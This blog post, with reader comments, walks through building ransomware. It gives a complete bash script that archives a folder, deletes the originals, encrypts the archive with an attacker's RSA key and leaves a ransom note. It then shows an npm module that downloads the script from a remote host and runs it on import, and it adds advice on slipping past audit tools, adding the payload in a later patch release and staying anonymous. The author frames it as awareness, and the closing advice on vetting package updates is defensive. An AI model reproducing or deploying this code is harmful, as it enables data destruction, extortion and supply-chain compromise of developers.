Post originally posted on my blog
A couple of weeks ago, I experimented with creating a small ransomware script, and looked into how to run it in a Node.js module. This post is a write-up explaining how I went about it.
⚠️ Important notes ⚠️
- I am writing this blog post for educational purposes only. Running ransomware attacks is illegal; my only motivation is to share knowledge and raise awareness so people can protect themselves.
- I am not taking any responsibility for how you decide to use the information shared in this post.
The code samples that follow were tested on macOS. I assume the concept would be the same for other operating systems but the commands might differ a little.
What does it do?
Before diving into the code, I want to explain shortly what this attack does.
A custom Node.js module fetches a shell script hosted on a cloud platform, creates a new file on the target's computer and executes it.
The script navigates to a specific folder on the target's computer, compresses and encrypts that folder using asymmetric encryption.
What this means is that the target's files are encrypted using the attacker's public key and cannot be decrypted without this same person's private key. As a result, the only way for the target to get their files back is to pay the ransom to the attacker to get the private key.
If this sounds interesting to you, the rest of this post covers how it works.
Creating the script
First things first, there's a script file called script.sh
.
It starts by navigating to a folder on the target's computer. For testing purposes, I created a test folder on my Desktop called folder-to-encrypt
so my shell script navigates to the Desktop. In a real attack, it would be more efficient to target another folder, for example /Users
.
cd /Users/<your-username>/Desktop
The next step is to compress the folder folder-to-encrypt
using tar
.
tar -czf folder-to-encrypt.tar.gz folder-to-encrypt
The -czf
flag stands for:
-
c
: compress -
z
: gzip compression -
f
: determine the archive file’s file name type
At this point, running bash script.sh
will result in seeing both folder-to-encrypt
and folder-to-encrypt.tar.gz
on the Desktop.
In the context of ransomware, people should not have access to their original file or folder, so it also needs to be deleted.
rm -rf folder-to-encrypt
At this point, the original folder is deleted but the file that's left is only in compressed format so it can be decompressed and restored by double-clicking it. This would defeat the purpose for people to be able to restore their files so, the next step is asymmetric encryption with openssl.
Encryption
Without going into too much details, asymmetric encryption works with two keys, a public one and a private one. The public key is the one used to encrypt the data. It can be shared with people so they can encrypt data they would want the keys' owner to be able to decrypt. The private key, on the other hand, needs to stay private, as it is the decryption key.
Once data is encrypted with the public key, it can only be decrypted with the associated private key.
The next step is then to generate the private key with the following command:
openssl genrsa -aes256 -out private.pem
This command uses AES (Advanced Encryption Standard) and more specifically the 256-bit encryption.
When the above command is run, the key is saved in a file called private.pem
.
The public key is then generated with the command below:
openssl rsa -in private.pem -pubout > public.pem
After the keys are generated, I save the public key in a new file on the target's computer.
One way to do this is with the following lines:
echo "-----BEGIN PUBLIC KEY-----
<your key here>
-----END PUBLIC KEY-----" > key.pem
Getting the info needed from the public key can be done with the command:
head public.pem
Now, the compressed file can be encrypted.
openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc
The command above uses the new file key.pem
created on the target's computer that contains the public key, and uses it to encrypt the compressed file into a file called folder-to-encrypt.enc
. At this point,
the orignal compressed file is still present so it also needs to be deleted.
rm -rf folder-to-encrypt.tar.gz
After this, the only way to retrieve the content of the original folder is to get access to the private key to decrypt the encrypted file.
As a last step, a note can be left to let the target know they've just been hacked and how they should go about paying the ransom. This part is not the focus of this post.
echo "You've been hacked! Gimme all the moneyz" > note.txt
Before moving on to running this into a Node.js module, I want to talk briefly about how to decrypt this file.
Decryption
At this point, running the following command in the terminal will decrypt the file and restore the original compressed version:
openssl rsautl -decrypt -inkey private.pem -in /Users/<your-username>/Desktop/folder-to-encrypt.enc > /Users/<your-username>/Desktop/folder-to-encrypt.tar.gz
Complete code sample
The complete script looks like this:
cd /Users/<your-username>/Desktop
echo "-----BEGIN PUBLIC KEY-----
<your-public-key>
-----END PUBLIC KEY-----" > key.pem
tar -czf folder-to-encrypt.tar.gz folder-to-encrypt
rm -rf folder-to-encrypt
openssl rsautl -encrypt -inkey key.pem -pubin -in folder-to-encrypt.tar.gz -out folder-to-encrypt.enc
rm -rf folder-to-encrypt.tar.gz
echo "You've been hacked! Gimme all the moneyz" > note.txt
Now, how can people be tricked into using it?
Hiding ransomware in a Node.js module
There are multiple ways to go about this.
One of them would be to package up the shell script as part of the Node.js module and execute it when the package is imported. However, having the script as a file in the repository would probably raise some concerns pretty fast.
Instead, I decided to use the fs
built-in package to fetch a URL where the script is hosted, copy the content to a new file on the target's computer, and then use child_process.execFile()
to execute the file when the package is imported in a new project.
This way, it might not be obvious at first sight that the module has malicious intent. Especially if the JavaScript files are minified and obfuscated.
Creating the Node.js module
In a new Node.js module, I started by writing the code that fetches the content of the script and saves it to a new file called script.sh
on the target's computer:
import fetch from "node-fetch"
import fs from "fs";
async function download() {
const res = await fetch('http://<some-site>/script.sh');
await new Promise((resolve, reject) => {
const fileStream = fs.createWriteStream('./script.sh');
res.body.pipe(fileStream);
fileStream.on("finish", function () {
resolve();
});
});
}
Then, it's time to execute it to run the attack.
const run = async () => {
await download()
execFile("bash", ["script.sh"]);
}
export default function innocentLookingFunction() {
return run()
}
And that's it for the content of the package! For a real attack to work, more code should probably be added to the module to make it look like it is doing something useful.
Running the attack
To test this attack, I published the package as a private package on npm to avoid having people inadvertently install it. After importing and calling the default function, the attack is triggered.
import innocentLookingFunction from "@charliegerard/such-a-hacker";
innocentLookingFunction();
Done! ✅
Security
You might be thinking, "For sure this would be picked up by some security auditing tools?!". From what I've seen, it isn't.
npm audit
Running npm audit
does not actually check the content of the modules you are using. This command only checks if your project includes packages that have been reported to contain vulnerabilities. As long as this malicious package isn't reported, npm audit
will not flag it as potentially dangerous.
Snyk
I didn't research in details how Snyk detects potential issues but using the Snyk VSCode extension did not report any vulnerabilities either.
Socket.dev
At the moment, the Socket.dev GitHub app only supports typosquat detection so I didn't use it for this experiment.
Additional thoughts
"You'd have to get people to install the package first"
Personally, I see this as this easiest part of the whole process.
People install lots of different packages, even small utility functions they could write themselves. I could create a legitimate package, publish the first version without any malicious code, get people to use it, and down the line, add the malicious code in a patch update.
Not everyone checks for what is added in patches or minor version updates before merging them.
At some point, some people will understand where the ransomware came from and flag it, but by the time they do, the attack would have already affected a certain number of users.
Staying anonymous
For this one, I don't have enough knowledge to ensure that the attacker would not be found through the email address used to publish the package on npm, or through tracking the ransomware transactions. There's probably some interesting things to learn about money laundering, but I know nothing about it.
When it comes to where the script is hosted, I used a platform that allows you to deploy a website without needing to sign up, so this way, there might not be an easy way to retrieve the identity of the attacker.
Last note
I wanted to end on an important point, which is the main reason why I experimented with this.
It took me a few hours on a Sunday afternoon to put this together, without any training in security.
A part of me was hoping it wouldn't be possible, or at least not that easy, so I'd feel more comfortable using random packages, but I am now thinking a bit differently.
I am only interested in learning how things work, but that's not the case for everyone, so if I can do it, a lot of other people with malicious intent can too...
I don't know if an attack like this can be completely avoided but be careful when installing packages, update things regularly, and think twice before merging updates without checking changelogs and file changes.
Top comments (14)
I've seen you program brain interface live on stage and now you're building ransomwares. I put two and two together and do not like where this is going 🧐
Very interesting - thank you. Ransomware scares me. I spent some time recently researching how I might get yourself some protection from an attack by keeping file copies in a secure location. The conclusion was depressing - it seems there's no such thing as a secure location if it's linked permanently to your machine in some way. I started with the idea that dropbox et al might be the answer, but soon gave up. I won't bore you with the details, but each month now I get an email reminding me that a scheduled dump is going to run in the wee small hours and that I need to connect my remote hard drive before it starts and disconnect same when it's finished. Is this 2022 or what?
Nice article. Wondering, how any security tool can pick things like this. If you think encryption/decryption invocations should be flagged. It's hard. How do we differentiate between genuine function vs a ransomware (like this). Will be interesting to see what the future scanner will look like!
Hello Charlie, thanks for sharing!
This is quite interesting, and as you mentioned, this is a manual step to prevent security issues, also it's important to use exact versions of these external packages/libs and people always forget that!
Thanks for the reminder <3
I’ve been uncomfortable with all these package updates since I realized things like this could be achieved a long time ago.. All this breaking module updates and now this. Great example Charlie.
Been a victim of ransomware before, didn't know it was this easy to do to anyone
Thanks!
good read
Wow that was quite interesting!
You might be interested in looking at NodeSecure/cli: github.com/NodeSecure/cli
We are working hard on providing open source tools able to detect that kind of malicious package.